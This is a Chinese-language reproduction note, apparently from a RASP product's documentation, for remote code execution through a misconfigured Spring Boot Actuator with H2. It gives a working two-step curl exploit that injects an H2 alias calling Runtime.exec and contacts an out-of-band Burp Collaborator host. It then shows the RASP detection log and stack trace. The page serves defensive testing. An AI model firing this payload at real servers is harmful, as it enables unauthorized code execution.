# SpringBoot Actuator H2

# 漏洞简介

Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。

# 漏洞复现

# 代码

spring-boot-actuator-h2-rce (opens new window)

# 本地运行

./mvnw package && java -jar target/gs-spring-boot-docker-0.1.0.jar

# 攻击

  • step1 相应修改curl请求
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'curl http://x.burpcollaborator.net\');\"}' 'http://localhost:8080/actuator/env'
1
  • step2 重启actuator
curl -X 'POST' -H 'Content-Type: application/json' 'http://localhost:8080/actuator/restart'
1

# RASP防护

上面的请求重复发送

{
  "cmdArray": ["curl", "http://x.burpcollaborator.net"],
  "stackTrace": [
    "java.lang.ProcessImpl.start(ProcessImpl.java)",
    "java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)",
    "java.lang.Runtime.exec(Runtime.java:621)",
    "java.lang.Runtime.exec(Runtime.java:451)",
    "java.lang.Runtime.exec(Runtime.java:348)",
    "org.h2.dynamic.EXEC.shellexec(EXEC.java:6)",
    "sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)",
    "sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)",
    "sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)",
    "java.lang.reflect.Method.invoke(Method.java:498)",
    "org.h2.engine.FunctionAlias$JavaMethod.getValue(FunctionAlias.java:441)",
    "org.h2.expression.function.JavaFunction.getValue(JavaFunction.java:40)",
    "org.h2.command.dml.Call.query(Call.java:65)",
    "org.h2.command.CommandContainer.query(CommandContainer.java:285)",
    "org.h2.command.CommandList.executeRemaining(CommandList.java:57)",
    "org.h2.command.CommandList.update(CommandList.java:67)",
    "org.h2.command.Command.executeUpdate(Command.java:251)",
    "org.h2.jdbc.JdbcStatement.executeInternal(JdbcStatement.java:228)",
    "org.h2.jdbc.JdbcStatement.execute(JdbcStatement.java:201)",
    "com.zaxxer.hikari.pool.PoolBase.executeSql(PoolBase.java:569)",
    "com.zaxxer.hikari.pool.PoolBase.checkValidationSupport(PoolBase.java:453)",
    "com.zaxxer.hikari.pool.PoolBase.checkDriverSupport(PoolBase.java:433)",
    "com.zaxxer.hikari.pool.PoolBase.setupConnection(PoolBase.java:402)",
    "com.zaxxer.hikari.pool.PoolBase.newConnection(PoolBase.java:355)",
    "com.zaxxer.hikari.pool.PoolBase.newPoolEntry(PoolBase.java:201)",
    "com.zaxxer.hikari.pool.HikariPool.createPoolEntry(HikariPool.java:473)",
    "com.zaxxer.hikari.pool.HikariPool.checkFailFast(HikariPool.java:562)",
    "com.zaxxer.hikari.pool.HikariPool.<init>(HikariPool.java:115)",
    "com.zaxxer.hikari.HikariDataSource.getConnection(HikariDataSource.java:112)",
    "com.zaxxer.hikari.HikariDataSource$$FastClassBySpringCGLIB$$eeb1ae86.invoke(<generated>)",
    "org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218)",
    "org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:769)",
    "org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163)",
    "org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:747)",
    "org.springframework.aop.support.DelegatingIntroductionInterceptor.doProceed(DelegatingIntroductionInterceptor.java:136)",
    "org.springframework.aop.support.DelegatingIntroductionInterceptor.invoke(DelegatingIntroductionInterceptor.java:124)",
    "org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186)",
    "org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:747)",
    "org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:689)",
    "com.zaxxer.hikari.HikariDataSource$$EnhancerBySpringCGLIB$$ff3b4cc4.getConnection(<generated>)",
    "org.springframework.jdbc.datasource.DataSourceUtils.fetchConnection(DataSourceUtils.java:158)",
    "org.springframework.jdbc.datasource.DataSourceUtils.doGetConnection(DataSourceUtils.java:116)",
    "org.springframework.jdbc.datasource.DataSourceUtils.getConnection(DataSourceUtils.java:79)",
    "org.springframework.jdbc.core.JdbcTemplate.execute(JdbcTemplate.java:324)",
    "org.springframework.boot.jdbc.EmbeddedDatabaseConnection.isEmbedded(EmbeddedDatabaseConnection.java:120)",
    "org.springframework.boot.autoconfigure.orm.jpa.HibernateDefaultDdlAutoProvider.getDefaultDdlAuto(HibernateDefaultDdlAutoProvider.java:42)",
    "org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaConfiguration.lambda$getVendorProperties$1(HibernateJpaConfiguration.java:130)",
    "org.springframework.boot.autoconfigure.orm.jpa.HibernateSettings.getDdlAuto(HibernateSettings.java:41)",
    "org.springframework.boot.autoconfigure.orm.jpa.HibernateProperties.determineDdlAuto(HibernateProperties.java:136)",
    "org.springframework.boot.autoconfigure.orm.jpa.HibernateProperties.getAdditionalProperties(HibernateProperties.java:102)",
    "org.springframework.boot.autoconfigure.orm.jpa.HibernateProperties.determineHibernateProperties(HibernateProperties.java:94)",
    "org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaConfiguration.getVendorProperties(HibernateJpaConfiguration.java:132)",
    "org.springframework.boot.autoconfigure.orm.jpa.JpaBaseConfiguration.entityManagerFactory(JpaBaseConfiguration.java:133)",
    "sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)",
    "sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)",
    "sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)",
    "java.lang.reflect.Method.invoke(Method.java:498)",
    "org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:154)",
    "org.springframework.beans.factory.support.ConstructorResolver.instantiate(ConstructorResolver.java:640)",
    "org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod(ConstructorResolver.java:625)",
    "org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod(AbstractAutowireCapableBeanFactory.java:1338)",
    "org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:1177)",
    "org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:557)",
    "org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:517)",
    "org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:323)",
    "org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:222)",
    "org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:321)",
    "org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202)",
    "org.springframework.context.support.AbstractApplicationContext.getBean(AbstractApplicationContext.java:1108)",
    "org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:868)",
    "org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:550)",
    "org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:141)",
    "org.springframework.boot.SpringApplication.refresh(SpringApplication.java:747)",
    "org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:397)",
    "org.springframework.boot.SpringApplication.run(SpringApplication.java:315)",
    "org.springframework.cloud.context.restart.RestartEndpoint.doRestart(RestartEndpoint.java:133)",
    "org.springframework.cloud.context.restart.RestartEndpoint.safeRestart(RestartEndpoint.java:99)",
    "java.lang.Thread.run(Thread.java:748)"
  ]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

存在的问题:http 请求丢失